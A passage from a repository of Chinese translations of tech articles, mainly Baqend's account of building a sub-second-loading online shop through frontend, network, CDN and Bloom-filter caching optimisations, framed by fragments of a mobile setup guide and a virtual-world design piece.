管理器。 /Users/your_username/Library/Android/sdk/tools/android sdk 我安装了下面这些包: **工具** * Android SDK 工具 * Android SDK 平台工具 * Android SDK 开发工具 **Android 6.0 (API 23)** * SDK 平台 * Intel x86 Atom_64 系统映象 **额外** * Intel x86 仿真器加速设备 (HAXM Installer) ### iOS 通过 npm 安装 iOS 依赖的时候我犯了个错误,运行了 OS X El Capitan 10.11,可以运行下面代码来解决: sudo npm install -g ios-deploy –unsafe-perm=true 见 [StackOverflow](http://stackoverflow.com/questions/34195673/ios-deploy-fail-to-install-on-mac-os-x-el-capitan-10-11) # 关于作者 我的名字叫 Michael Viveros 。今年是我学习软件工程的第五年。我是个充满热情的程序员,难得一见的没准的高尔夫球手和会挖苦人的机智的说笑话的家伙。我正在开发一个高尔夫球跟踪网站,还有个用到 Cordova 和 Vue.js 的移动应用。 你可以在下面的网站看到更多 [michaelviveros.com](http://www.michaelviveros.com/) 。 ================================================ FILE: TODO/building-a-shop-with-sub-second-page-loads-lessons-learned.md ================================================ > * 原文地址:[Building a Shop with Sub-Second Page Loads: Lessons Learned](https://medium.baqend.com/building-a-shop-with-sub-second-page-loads-lessons-learned-4bb1be3ed07#.svcz7qtdn) * 原文作者:[Erik Witt](https://medium.baqend.com/@erik.witt) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[luoyaqifei](http://www.zengmingxia.com) * 校对者:[Romeo0906](https://github.com/Romeo0906),[L9m](https://github.com/L9m) # 全方位提升网站打开速度:前端、后端、新的技术 > 这里是 [**我们**](http://www.baqend.com/) 充分利用对于网络缓存和 NoSQL 系统的研究,做出一个可以容纳几十万通过电视宣传慕名而来的访问者的 [**网上商城**](http://www.thinks.com/) 的故事,以及我们从中学到的一切。 ![](https://cdn-images-2.medium.com/max/1200/1*8n8yIaSM7m7VflC3dOGr8g.png) "Shark Tank"(美国),"Dragons’ Den"(英国)或" Die Höhle der Löwen(DHDL)"(德国)等电视节目为年轻初创公司供了一次在众多观众前向商业大亨推销自己产品的机会。然而,主要的好处往往不在于评审团提供的战略投资——[只有少数交易会完成](http://www.bloomberg.com/news/articles/2014-07-15/shark-tank-do-two-thirds-of-deals-fall-apart)——而是在电视节目播放期间引发的关注:即使是几分钟的直播也能给网站带来几十万的新用户,同时能够提高几周、几个月甚至永久性的网站基本活跃水平。也就是说,如果网站可以抓住初始负载尖峰,并且不拒绝用户请求…… ### 仅仅可用是不够的——延迟是关键! 网上商城的盈利压力特别大,因为他们不只是消遣项目(诸如博客),但通常由于创始人本身有大量投资支持,必须**转化为利润**。很明显,对于商业业务来说,最坏的情况是网站过载,在此期间服务器不得不丢掉部分用户请求甚至可能完全崩溃。这并不像你想象的那样罕见:在 DHDL 的这一季,大约有一半的网上商店在直播现场就无法连接了。并且,保持在线只有一半的租金,因为**用户满意度是强制连接到转化率**,从而直接转化为产生的收入的。 ![](https://cdn-images-2.medium.com/max/800/1*bw_wf7Q8V_nykLwdnTA8wQ.png) [Source](http://infographicjournal.com/how-page-load-time-can-impact-conversions/) 关于页面加载时间对客户满意度和转换率的影响,有很多 [研究](https://wpostats.com/tags/conversions/) 支持这种说法。例如,Aberdeen Group 发现,额外延迟的 1 秒会导致页面浏览量减少 11%,转化次数损失 7%。 但你也可以询问 [Google](https://wpostats.com/2015/10/29/google-500ms.html) 或 [Amazon](https://wpostats.com/2015/10/29/amazon-1-percent.html),他们会告诉你同样的说法。 ### 怎样让网站加速 为初创公司 [_Thinks_](https://www.thinks.com/) 搭建的网上商城参与了 DHDL,并在 9 月 6 日播出。我们面临着一个挑战,搭建一个能够承受数十万访客量的网上商店,并且加载时间稳定在 1 秒以内。以下都是我们在这个过程中以及从近些年对数据库和网络的性能研究中学到的。 在现有的 web 应用技术中有三个影响页面加载时间的主要原因,展示如下: ![](https://cdn-images-2.medium.com/max/800/1*j_z9Rbmp0GLNqr4LwWVCmQ.png) 1. **后端处理**:web 服务器需要时间从数据库加载数据和整合网站。 2. **网络延迟**:每个请求需要时间从客户端传输到服务器,并返回(请求延迟)。当考虑到平均每个网站需要发出超过 [100 个请求](http://httparchive.org/interesting.php) 才能完全加载时,这变得更加重要。 3. **前端处理**:前端设备需要时间来渲染页面。 为了让我们的网店加速,让我们一一解决这三个瓶颈。 #### 前端性能 影响前端性能最重要的因素是关键呈现路径([CRP](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/?hl=zh-CN)),它描述了在浏览器中向用户显示页面所需的 5 个必要步骤,如下所示。 ![](https://cdn-images-2.medium.com/max/1200/1*1DEuTsfd9RckmywKDTwxGA.tiff) 关键呈现路径的步骤: * **DOM**:当浏览器解析HTML时,它会增量式地生成一个 HTML 标签的树模型,称为 **文档对象模型**(DOM),该模型描述了页面内容。 * **CSSOM**:一旦浏览器接收到所有的 CSS,它会生成一个 CSS 中包含的标签和类的树模型,称为 **CSS 对象模型**,在树节点上还附有样式信息。这棵树描述了页面内容是如何设置样式的。 * **渲染树**:通过组合 DOM 和 CSSOM,浏览器构造一个渲染树,它包含页面内容以及要应用的样式信息。 * **布局**:布局这一步计算屏幕上页面内容的实际位置和大小。 * **绘制**:最后一步使用布局信息将实际像素绘制到屏幕上。 单个步骤是相当简单的,使事情变得困难并限制性能的是这些步骤之间的依赖。DOM 和 CSSOM 的构造通常具有最大的性能影响。 这个图表显示了关键呈现路径的步骤,里面包括等待依赖,如箭头所示。 ![](https://cdn-images-2.medium.com/max/1200/1*t40GwOqsIbif3WUxKGMRVQ.tiff) 关系呈现路径中重要的依赖 在加载 CSS 和构造完整的 CSSOM 之前,什么都不能显示给客户端。因此 CSS 被称为是**阻塞渲染**的。 JavaScript(JS)更糟糕,因为它可以访问和更改 DOM 和 CSSOM。 这意味着一旦发现 HTML 中的脚本标记,DOM 构造就会被暂停,并从服务器请求脚本。一旦脚本被加载,只有在所有 CSS 被提取和 CSSOM 被构造以后,它才能被执行。在 CSSOM 构建之后 JS 被执行,在下面的例子中,它可以访问和改变 DOM 以及 CSSOM。只有这样之后,DOM的构造才能进行,并且页面才能显示给客户端。因此 JavaScript 被称为是阻塞解析的。 JavaScript 访问 CSSOM 和更改 DOM 的示例: JS 甚至会影响更恶劣。例如 [jQuery 插件](https://github.com/jjenzz/jquery.ellipsis) 访问计算后的 HTML 元素的布局信息,然后开始一次又一次地改变 CSSOM,直到实现了所需的布局。因此,在用户将看到白色屏幕以外的任何东西之前,浏览器必须一次又一次地重复地执行 JS、构造渲染树和布局。 有三个优化 CRP 的 [基本概念](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/optimizing-critical-rendering-path): 1. **减少关键资源:** 关键资源是页面最初渲染时所需的资源(HTML,CSS,JS 文件)。通过将渲染不滚动时可见的网站部分(称为**首屏**)所需要的 CSS 和 JS **内联**可以大大减少关键资源。接下来的 JS 和 CSS 应该被**异步**加载。无法被异步加载的文件可以**拼接**到一个文件中。 2. **最小化字节:** 通过**最小化**和**压缩** CSS,JS 和图像,可以大大减少 CRP 中加载的字节数。 3. **缩短 CRP 长度:** CRP 长度是获取所有关键资源所需的与服务器之间的最大连续**往返数**。它可以通过减少关键资源和最小化它们的大小(大文件需要多个往返来获取)来缩短。将 **CSS 放在 HTML 顶部**,以及 **JS 放在 HTML 底部**,可以进一步地缩短它的长度,因为 JS 执行总是会阻塞对 CSS 的抓取、对 CSSOM 和 DOM 的构造。 此外,**浏览器缓存** 是非常有效的,应该在所有的项目中加以使用。它对于这三个优化项都很合适,因为缓存的资源不必先从服务器加载。 CRP 优化的整个主题是相当复杂的,特别是内联、级联和异步加载,它们可能会破坏代码的可重用性。幸运的是,有很多强大的工具,可以为你做好这些优化,这些工具可以被集成到你的构建和部署链里。你的确应该地看看下面的工具…… * **分析:** [GTmetrix](https://gtmetrix.com/) 用来衡量网页速度,[webpagetest](https://www.webpagetest.org/) 用来分析你的资源,以及 Google 的[PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/),为你的网站生成有关如何优化 CRP 的提示。 * **内联和优化**:[Critical](https://github.com/addyosmani/critical) 非常适合自动将你的明显位置的 CSS 内联并且异步加载其余 CSS,[processhtml](https://github.com/Wildhoney/gulp-processhtml) 连接你的资源和 [PostCSS](https://github.com/postcss/postcss) 进一步优化 CSS。 * **最小化和压缩:** 我们使用 [tiny png](https://tinypng.com/) 来进行图像压缩,[UglifyJs](https://github.com/mishoo/UglifyJS) 和 [cssmin](https://www.npmjs.com/package/cssmin) 来进行最小化,[Google Closure](https://developers.google.com/closure/) 来进行 JS 优化。 有了这些工具只需很小的工作量,你就可以打造一个前端性能极好的网站。这里是 _Thinks_ 商城第一次访问时的页面速度测试: ![](https://cdn-images-2.medium.com/max/800/1*zRwgmwVleajpoA-Xq4CjhQ.png) thinks.com 的 Google 网页速度分数 有趣的是,PageSpeed Insights 内部唯一的抱怨是,Google 分析的脚本缓存生命周期太短。所以 Google 基本上在抱怨它自己。 ![](https://cdn-images-2.medium.com/max/800/1*ls8OEm_co28ib7ehy189rA.png) 来自加拿大(GTmetrix)的第一次页面加载,服务器托管在法兰克福(Frankfurt) #### 网络性能 网络延迟是页面加载时间最重要的因素,它也是最难优化的。但在我们进行优化之前,让我们看一下对初始的浏览器请求的划分: ![](https://cdn-images-2.medium.com/max/1200/1*Y3uwr-Q8L-OSH3ubXl-HiA.tiff) 当我们在浏览器中输入 [https://www.thinks.com/](https://www.thinks.com/) 并按下回车键时,浏览器开始使用 **DNS 查找**来识别与域相关联的 IP 地址,这种查找必须对每个单独的域进行。 使用接收到的 IP 地址,浏览器初始化与服务器的 **TCP 连接**。TCP 握手需要 2 次往返(1 次是 [TCP 快速打开](https://en.wikipedia.org/wiki/TCP_Fast_Open))。使用安全的 **SSL 连接**,TLS 握手需要额外的 2 次往返(1 次是 [TLS False Start](https://blogs.windows.com/msedgedev/2016/06/15/building-a-faster-and-more-secure-web-with-tcp-fast-open-tls-false-start-and-tls-1-3/#BqAGYfpLwoYCtE6i.97) 或 [Session Resumption](https://timtaubert.de/blog/2014/11/the-sad-state-of-server-side-tls-session-resumption-implementations/))。 在初始连接之后,浏览器发送实际请求并等待数据进入。**第一个字节到达**的时间主要取决于客户端和服务器之间的距离,包括服务器渲染页面所需的时间(包括会话查找、数据库查询和模板渲染等)。 最后一步是在可能的多次往返中**下载资源**(在这种情况下指的是 HTML )。新连接尤其通常需要很多往返,因为初始拥塞窗口很小。这意味着 TCP 不是从一开始就使用全带宽,而是随着时间的推移而增加带宽(参见 [TCP拥塞控制](https://en.wikipedia.org/wiki/TCP_congestion_control)。下载速度受到慢启动算法的支配,该算法在每次往返的拥塞窗口中将报文段数量加倍,直到丢包发生。在移动网络和 Wifi 网络上丢失数据包因此具有很大的性能影响。 另一件要记住的事是:使用 HTTP/1.1,你只能得到 **6 个并行连接**(如果浏览器仍然遵循原始标准,则连接数为 2)。因此,你最多只能请求 6 个资源并行。 为了对网络性能对于页面速度的重要性有一个直观的认识,你可以查看 [httparchive](http://httparchive.org/interesting.php) ,上面有很多统计数据。例如,网站平均在 100 多个请求中加载大约 2.5 MB的数据。 ![](https://cdn-images-2.medium.com/max/800/1*ycpDPIWtye5aFu7Kdtb5Ew.png) [来源](http://httparchive.org/interesting.php#reqTotal) 所以网站发出了很多小的请求来加载很多资源,但网络带宽一直在增加。物理网络的演进将拯救我们,对吧?嗯,其实并不是…… ![](https://cdn-images-2.medium.com/max/800/1*R1NZ69zvARAdY6fkf2ljng.tiff) 来自 [High Performance Browser Networking](https://hpbn.co/),作者为 Ilya Grigorik 事实证明,将**带宽**增加到 5 Mbps 以上并不真的影响页面加载时间。但减少单个请求的**延迟**会降低网页加载时间。这意味着带宽加倍带来的是相同的加载时间,而减少一半的延迟将给你一半的加载时间。 因此,如果延迟是网络性能的决定因素,我们可以在这上面做些什么呢? * **持久连接**是必须有的。没有什么比当你的服务器在每个请求后关闭连接,并且浏览器必须一次又一次地执行握手操作和 TCP 慢启动更糟糕的事情了。 * 尽可能地**避免重定向**,因为它们会大大减慢你的初始网页加载速度。永远链接完整的网址(例如使用 www.thinks.com 而不是 thinks.com)。 * 如果可以的话,请使用 **HTTP/2**。它附带**服务器推送**,能为单个请求传输多个资源;**头压缩**来减小请求和响应的大小;并请求**流水线**和**多路复用**通过单个连接发送任意并行请求。使用服务器推送,你的服务器可以发送你的 html ,紧接着推送网站所需的 CSS 和 JS,而无需等待实际请求。 * 为你的静态资源(CSS,JS,静态图像如 logo)设置显式的**缓存头**。这样,你可以告诉浏览器需要将这些资源缓存多长时间以及何时重新验证。缓存可以节省大量的往返和需要下载的字节。如果没有设置明确的缓存头,浏览器会做 [启发式缓存](http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html),这比不缓存好,但远不是最佳。 * 使用**内容分发网络**(CDN)来缓存图像、CSS、JS 和 HTML。这些分布式缓存网络可以显著地减少与用户的距离,从而更快地提供资源。它们还加速了你的初始连接,因为你与附近的 CDN 节点进行 TCP 和 TLS 握手,而这些节点会依次建立热的和持久的后端连接。 * 建议你使用一个小的初始页来创建**单页应用程序**,这个初始网页会异步地加载其它组件。这样,你可以使用可缓存的 HTML 模板,在小请求中加载动态数据,并在导航(navigation)期间只更新页面的各个部分。 总而言之,当涉及到网络性能时,有一些要做的(do) 和不要做的(don't),但限制因素总是往返次数与物理网络延迟的结合。克服这种限制的唯一有效方法是使数据更接近客户端。最先进的网络缓存状态的确如此,但这仅适用于静态资源。 对于 _Thinks_,我们遵循上述准则,使用 [Fastly](https://www.fastly.com/) CDN 和主动的浏览器缓存,甚至对动态数据使用一种新的 [布隆过滤器算法(Bloom Filter algorithm)](https://medium.baqend.com/bringing-web-performance-to-the-next-level-an-overview-of-baqend-be3521bc2faf#.ajhyivndc) 来使得缓存数据保持一致。 ![](https://cdn-images-2.medium.com/max/800/1*djg5dkELtzm0wQd_sKmoTg.tiff) [www.thinks.com](http://www.thinks.com/) 重复加载,来显示浏览器缓存覆盖率 对于重复网页加载的请求,浏览器缓存没有提供的内容(参见上图)包括:对 Google 分析的 API 的两个异步调用,以及从 CDN 处获取的初始 HTML 请求。因此,对于重复的网页加载,页面能够做到立即加载。 #### 后端性能 对于后端性能,我们需要同时考虑延迟和吞吐量。为了实现低延迟,我们需要将服务器的处理时间最小化。为了保持高吞吐量和应对负载尖峰,我们需要采用一种**水平可扩展**的架构。我们不会谈到太多细节,因为设计决策对性能的影响空间是巨大的,这些是需要去寻找的最重要的组件和属性: ![](https://cdn-images-2.medium.com/max/1200/1*lF1D54UVWbHPosMZBoCJSg.tiff) 可扩展的后端技术栈组件:负载均衡器,无状态应用服务器,分布式数据库 首先,你需要**负载均衡**(例如 Amazon ELB 或 DNS 负载均衡)将传入的请求分配给你的一个应用服务器。它还应该实现**自动调节**功能,在需要时生成其他应用服务器,以及**故障转移**功能,以替换损坏的服务器并将请求重新路由到正常服务器。 **应用服务器**应**将共享状态最小化**,从而保持协调最少,并使用**无状态会话处理**来启用自由的负载均衡。此外,服务器应该有**高效**的代码和 IO,使得服务器处理时间最小。 **数据库**需要承受负载尖峰,并尽可能减少处理时间。同时,它们需要具有足够的表达性,以根据需要建模和查询数据。有大量的可扩展数据库(尤其是 NoSQL),每个都有自己的 trade-off。详细信息请参考我们关于该主题的调查和决策指南: [**NoSQL 数据库:一份调查和决策指南** 与我们在汉堡大学的同事一起,我们是:Felix Gessert, Wolfram Wingerath, Steffen…medium.baqend.com](https://medium.baqend.com/nosql-databases-a-survey-and-decision-guidance-ea7823a822d "https://medium.baqend.com/nosql-databases-a-survey-and-decision-guidance-ea7823a822d") _Thinks_ 网上商城搭建在 [Baqend](http://www.baqend.com/) 上,使用了如下的后端技术栈: ![](https://cdn-images-2.medium.com/max/800/1*C7yp3ODTiIyCv6ZxtZVQCg.tiff) Baqend的后端技术栈:MongoDB 作为主数据库,无状态应用服务器,HTTP 缓存层次结构,REST 和 web 前端的 JS SDK 用于 _Thinks_ 的主数据库是 **MongoDB**。为了维护我们将要到期的布隆过滤器(用于浏览器缓存),我们使用 **Redis** ,因为它的高写入吞吐量。无状态应用程服务器([**Orestes Servers**](http://orestes.info/assets/files/Paper.pdf))为后端功能提供接口(文件托管,数据存储,实时查询,推送通知,访问控制等),并处理动态数据的缓存一致性。它们从 **CDN** 拿到请求,CDN 也充当负载均衡器。网站前端使用基于 **REST API** 的 **JS SDK** 来访问后端,后端自动利用完整的 **HTTP 缓存层次结构**来让请求加速并保持缓存数据时刻最新。 #### 负载测试 为了在高负载下测试 _Thinks_ 网上商城,我们在法兰克福的 t2.medium AWS 实例上使用 2 个应用服务器来进行负载测试。MongoDB 在两个 t2.large 实例上运行。使用 [JMeter](http://jmeter.apache.org/) 构建负载测试并在 [IBM soft layer](http://www.softlayer.com/) 上的 20 个机器上运行,以模拟在 **15分钟内**,**200,000 个用户**同时访问和浏览网站。20% 的用户(40,000)被配置为执行额外的付款流程。 ![](https://cdn-images-2.medium.com/max/1200/1*PTn0h56pvC5HYEAaEPnI1A.png) 网上商城的负载测试设置 我们在支付实现中发现了一些瓶颈,例如,我们必须从库存的积极更新(使用 [findAndModify](https://docs.mongodb.com/manual/reference/method/db.collection.findAndModify/)实现)切换到 MongoDB 的部分更新操作([_inc_](https://docs.mongodb.com/manual/reference/operator/update/inc/))。**但是在这之后,服务器处理的负载只是精细地达到了平均请求延迟 5 ms**。 ![](https://cdn-images-2.medium.com/max/800/1*SrfTDYzeTKh5-T26I2Nakw.tiff) JMeter 在负载测试期间输出:在 12 分钟内有 680 万个请求,平均延迟 5 ms 所有的负载测试组合生成了大约 **1000 万个请求**,传输了 **460 GB的数据**,伴随着 **99.8%** 的 CDN **缓存命中率**。 ![](https://cdn-images-2.medium.com/max/1200/1*buvg1l0A2FrzqR8dbgQ5cQ.png) 负载测试后的仪表板概述 ### 总结 总之,良好的用户体验取决于三个支柱:前端,网络和后端的性能。 ![](https://cdn-images-2.medium.com/max/1200/1*KaPvIFl16OLU76KxJMR1WQ.tiff) **前端性能**是我们认为最容易实现的,因为已经有很多工具和一些容易遵循的最佳实践。但仍然有很多网站不遵循这些最佳实践,完全没有优化过它们的前端。 **网络性能**对于页面加载时间来说,是最重要的因素,也是最难优化的。缓存和 CDN 是最有效的优化方法,但即使对于静态内容也要付出相当大的努力。 **后端性能**取决于单服务器性能和跨机器去分发工作的能力。水平可扩展性特别难以实现,必须从一开始就考虑。许多项目将可扩展性和性能作为事后处理,然而在它们的业务增长时会陷入大麻烦。 ### 文献和工具建议 ![](https://cdn-images-2.medium.com/max/800/1*Fu5eAxBQORO1em86kuJBgA.tiff) 有很多关于 web 性能和可扩展系统设计的书:由 Ilya Grigorik 所写的 [高性能浏览器网络](https://hpbn.co/) 包含了几乎所有你需要了解的网络和浏览器性能知识,并且目前不断更新的版本可以免费在线阅读哦!Martin Kleppmann 写的 [设计数据密集型应用](http://dataintensive.net/) 仍处于前期发布状态,但已经是其领域最好的书之一,它涵盖了可扩展后端系统背后的大部分基础知识,并拥有相当多的细节。[设计性能](http://designingforperformance.com/) 由Lara Callender Hogan 写成,围绕着构建快速的、具有良好的用户体验的网站,涵盖了很多最佳实践。 ![](https://cdn-images-2.medium.com/max/800/1*rNqMUe5C9Z2KvCjqQJRNrA.tiff) 还有一些很棒的在线指南、教程和工具可以考虑:从初学者友好的 Udacity 课程 [网站性能优化](https://www.udacity.com/course/website-performance-optimization--ud884)、Google 的 [开发者性能指南](https://developers.google.com/web/fundamentals/performance/?hl=en) 到类似于 [Google PageSpeed Insights](https://developers.google.com/web/fundamentals/performance/?hl=en)、[GTmetrix](https://gtmetrix.com/) 和 [WebPageTest](https://www.webpagetest.org/) 这样的优化工具。 ### 最新的 Web 性能开发 **移动页面加速** Google 正在通过诸如 [PageSpeed Insights](https://developers.google.com/speed/pagespe%E2%80%A6)、[开发人员指南](https://developers.google.com/web/fundamentals/performance/) 等网站性能项目来提高大家对于网站性能的意识,并将网页速度作为其 [网页排名](https://webmasters.googleblog.com/2010/04/using-site-speed-in-web-search-ranking.html) 的主要因素。 在 Google 搜索中用来提高网页速度、增强用户体验的最新概念是 [移动网页加速(**AMP**)](https://www.ampproject.org/)。其目的是让新闻文章、产品页面和其它搜索内容立即从 Google 搜索加载。为此,这些页面必须构建为 AMP。 ![](https://cdn-images-2.medium.com/max/800/1*dFufupcLXGvhJdeqhntcsA.png) 一个 AMP 页面的示例 AMP 主要做两件事: 1. 构建为 AMP 的网站使用精简版本的 HTML,并使用 JS 加载器来快速渲染,并异步加载尽可能多的资源。 2. Google 将网站缓存在 Google CDN 中,并通过 HTTP/2 分发。 第一件事从本质上意味着 AMP 以一种方式限制了你的 HTML、JS 和 CSS,这种方式构建的网页有一个优化的关键呈现路径,可以很容易地被 Google 爬取。 AMP 强制 [几个限制](https://www.ampproject.org/docs/reference/spec),例如所有 CSS 必须内联,所有 JS 必须是异步的,页面上的所有内容必须具有静态大小(以防止重绘)。 虽然你可以通过坚持之前的 web 性能最佳实践,在没有这些限制的情况下,实现相同的结果,但 AMP 可能是很好的 trade-off ,能够为非常简单的网站提供帮助。 第二件事意味着,Google 抓取你的网站,然后将其缓存在 Google CDN 中,以便快速分发。网站内容会在爬虫重新索引你的网站后更新。CDN 还遵循服务器设置的静态 TTL,但至少执行 [微缓存](https://developers.google.com/amp/cache/overview#google-amp-cache-updates):资源至少在一分钟内被视为最新的,并在用户请求进入时在后台更新。因此 AMP 最适用于内容大多是静态的用户案例。这种适用于人为编辑修改的新闻网站或者其他出版物的情况。 #### 渐进式 web 应用(Progressive Web Apps) Google 的另一种做法是 [渐进式 web 应用](https://developers.google.com/web/fundamentals/getting-started/codelabs/your-first-pwapp/)(**PWA**)。其想法是在浏览器中使用 [服务工作者(service worker)](https://developers.google.com/web/fundamentals/getting-started/primers/service-workers) 来缓存网站的静态部分。因此,这些部分对于重复视图会立即加载,并可离线使用。动态部分仍从服务器端加载。 _app shell_(单页应用程序逻辑)可以在后台重新验证。如果标识了对应用 shell 的更新,则会提示用户,要求他更新页面。例如,[Gmail 收件箱](https://www.google.de/inbox/) 就实现了这个。 但是,写出缓存静态资源并进行重新验证的服务工作者(service worker)代码,对于每个网站来说,都需要付出相当大的努力。此外,只有 Chrome 和 Firefox 充分地支持了服务工作者(service worker)。 ### 缓存动态内容 所有缓存方法遇到的问题是它们不能处理动态内容。这只是由于 HTTP 缓存的工作机制导致的。有两种类型的缓存:**基于失效的**缓存(如转发代理缓存和 CDN)和**基于到期的**缓存(如 ISP 缓存、机构代理和**浏览器缓存**)。基于失效的缓存可以从服务器端主动失效,基于到期的高速缓存只能从客户端重新验证。 使用基于到期的缓存时,棘手的事情是,你必须在首次从服务器拿到数据时指定缓存生命周期(TTL)。之后,你没有任何机会将缓存数据删除。它将由浏览器缓存提供到 TTL 到期的时刻。对于静态资源,这不是一件复杂的事情,因为它们通常只会在你部署 web 应用程序的新版本时发生变化。因此,你可以使用 [gulp-rev-all](https://github.com/smysnk/gulp-rev-all) 和 [grunt-filerev](https://github.com/yeoman/grunt-filerev) 等很酷的工具)对 assets 进行散列。 但是,但是你该如何处理运行时的应用数据加载和修改呢?更改用户个人资料、更新帖子或添加新评论似乎不可能与浏览器缓存结合使用,因为你无法预估此类更新将来何时会发生。因此,缓存只能被禁用或使用非常小的 TTL。 ![](https://cdn-images-2.medium.com/max/1200/0*K1ZJfaJ6zgz6eEk_.png) 由另一个客户端更新时,缓存动态数据如何过时的示例 #### Baqend 的 Cache-Sketch 方法 在 [Baqend](http://www.baqend.com/),我们已经研究并开发了一种方法,在实际获取之前,检查客户端中 URL 的陈旧度。在每个用户会话开始时,我们获取一个非常小的数据结构,称为布隆过滤器(Bloom Filter),它是所有过时资源集合的高度压缩表示。通过查看布隆过滤器,客户端可以检查资源是否过时(包含在布隆过滤器中)或者是否是全新的。对于潜在的过时资源,我们绕过浏览器缓存并从 CDN 获取内容。在其他的所有情况下,我们直接用浏览器缓存提供内容。使用浏览器缓存可以节省网络流量和带宽,并且是**很快的**。 此外,我们确保 CDN(以及其它基于失效的缓存,如 Varnish)始终包含最新的数据,只要它们过时就立即清除资源。 ![](https://cdn-images-2.medium.com/max/1200/0*lpjUnI1olugLyyto.png) Baqend 如何确保缓存动态数据的新鲜度示例 [布隆过滤器(Bloom filter)](http://de.slideshare.net/felixgessert/bloom-filters-for-web-caching-lightning-talk) 是具有可调误报率的概率数据结构,这意味着集合可以用来表示对从未添加的对象的遏制,但永远不会删除实际条目。换句话说,我们可能偶尔会重新验证新资源,但是**我们永远不会提供过期数据**。注意,误报率非常低,这使得我们能够让集合非常小。例如,我们只需要 11 Kbyte 来存储 20,000 个不同的更新。 Baqend 在服务器端有很多流处理(查询匹配检测)、机器学习(最佳 TTL 估计)和分布式协调(可扩展的布隆过滤器维护)的工作。如果你对这些细节感兴趣,看看这篇 [文章](http://www.baqend.com/paper/btw-cache.pdf) 或 [这些幻灯片](http://de.slideshare.net/felixgessert/talk-cache-sketches-using-bloom-filters-and-web-caching-against-slow-load-times) 来深入研究。 #### 性能收益 这一切都归结为这一点。 > 使用 Baqend 的缓存基础设施可以使哪种页面速度得到提高? 为了展示使用 Baqend 的好处,我们在后端即服务(BaaS)领域中的每个领先竞争对手上构建了一个非常简单的新闻应用,并观测了来自世界各地不同位置的页面加载时间。如下所示,Baqend 持续加载低于 1 秒,比平均速度快 6.8 倍。即使当所有客户端来自服务器所在的同一位置时,由于有浏览器缓存,Baqend 也是 150% 倍速度。 ![](https://cdn-images-2.medium.com/max/1200/1*wT5diC6Pcd95wUSVroYviw.tiff) 简单新闻应用的平均加载时间比较 我们将此比较作为一个 [动手的 web 应用](http://s.codepen.io/baqend/debug/3010e4601789ea4d77673140d8e06245#) 来比较 BaaS 竞争。 ![](https://cdn-images-2.medium.com/max/800/1*X2Gc9KCtG_33mRe5Q9ayJw.tiff) [动手比较](http://s.codepen.io/baqend/debug/3010e4601789ea4d77673140d8e06245) 的截图 但这当然是一个测试场景,而不是一个具有真正用户的 web 应用。 所以让我们回到 _Thinks_ 网上商城来看一个真实世界的例子。 ### Thinks 网上商城——所有的事实 当 DHDL("Shark Tank"的德国版)在 9 月 6 日播出时,有 270 万观众,我们坐在电视和我们的 Google 分析屏幕前,为 _Thinks_ 创始人提出他们的产品而激动。 从他们开始演示起,网上商的并发用户数量迅速增加到大约 10,000,但真正的巅峰发生在广告休息时,当时突然有超过45,000 的并发用户来参观该店购买 Towell+: ![](https://cdn-images-2.medium.com/max/800/1*sCsJOCw-7clmfIbyYRwUrA.gif) Google 分析观测在商业广告时间之前开始。 _Thinks_ 在电视播放的 30 分钟里,我们得到了 **340** 万的请求,**300,000** 位游客,高达 **50,000** 位的并发访问游客和高达每秒 20,000 个请求,所有这一切实现了在 CDN 级别的 **98.5% 的缓存命中率**,和平均为 **3% 的服务器 CPU 负载** 因此,**页面加载时间**为**低于 1 秒**,整个时间实现了 **7.8% 的极大的**转化率。 如果我们看看在同一集 DHDL 中展示的其他商城,我们会看到其中四个 **完全崩溃了**,剩下的商城只利用了极少的性能优化。 ![](https://cdn-images-2.medium.com/max/800/1*3VLcWgaWIiFlJdaqy27gCg.png) 可用性概述和商城的 Google 页面速度得分,在 DHDL 上,于 9 月 6 日展示。 ### 总结 我们已经看到了在设计快速和可扩展的网站时需要克服的瓶颈:我们必须掌握**关键呈现路径**,理解网络限制、**缓存**的重要性和**具有水平可扩展性**的后端设计。 我们已经看到了很多用来解决单个问题的工具,以及移动加速页面(**AMP**)和渐进式 web 应用(**PWA**),这些采取了更全面的做法。但是,**缓存动态数据**的问题仍然存在。 **Baqend** 的做法是减少 web 开发,将构建主要放在前端,通过 JS SDK 使用 Baqend 完全托管的云服务上的后端功能,包括数据和文件存储、(实时)查询、推送通知、用户管理和 OAuth 以及访问控制。该平台通过使用完整的 HTTP 缓存层次结构自动加速所有请求,并确保可用性和可扩展性。 ![](https://cdn-images-2.medium.com/max/600/1*lDR0ZIX0ACdKwYMzEqyAKg.png) #### 我们对于 Baqend 的愿景是一个不需要加载时间的网站,并且我们想要给你到达这个目标的工具。 继续前往免费试用 [www.baqend.com](http://www.baqend.com/). * * * 不想错过我们关于网络性能的下一篇文章?通过加入我们的 [newsletter](http://www.baqend.com/#newsletter) 方便地将其传送到你的收件箱。 ================================================ FILE: TODO/building-a-virtual-world-worthy-of-sci-fi.md ================================================ > * 原文地址:[Building a Virtual World Worthy of Sci-Fi: Designing a global metaverse](https://medium.com/google-developers/building-a-virtual-world-worthy-of-sci-fi-3d48e2fd05e3) > * 原文作者:[Reto Meier](https://medium.com/@retomeier?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/building-a-virtual-world-worthy-of-sci-fi.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-a-virtual-world-worthy-of-sci-fi.md) > * 译者:[LeeSniper](https://github.com/LeeSniper) > * 校对者:[IllllllIIl](https://github.com/IllllllIIl)、[Wangalan30](https://github.com/Wangalan30) # 建立一个像科幻小说一样的虚拟世界:设计一个全球性的虚拟世界 在 Build Out 系列的第二集里面,[Colt McAnlis](https://medium.com/@duhroach) 和 [Reto Meier](https://medium.com/@retomeier) 接受了设计一个全球虚拟世界的挑战。 看一看下面的视频,看看他们想出了什么,然后继续阅读本文,看看你如何从他们的探索中学习建立你自己的解决方案! ### 视频梗概:他们设计了什么 两种解决方案都描述了一种能够生成让用户通过 VR 头盔就可以体验的 3D 环境的设计,使用不同级别的云计算和云存储来给客户端提供虚拟地球的数据,并且实时计算用户与之交互时对世界环境的改变。 **Reto 的方案**专注于使用数百万个无人机获取实时传感器数据,创建一个对现实世界的虚拟克隆。他的虚拟空间本质上是和现实世界联系在一起的,包括几何形状和当前的天气条件。 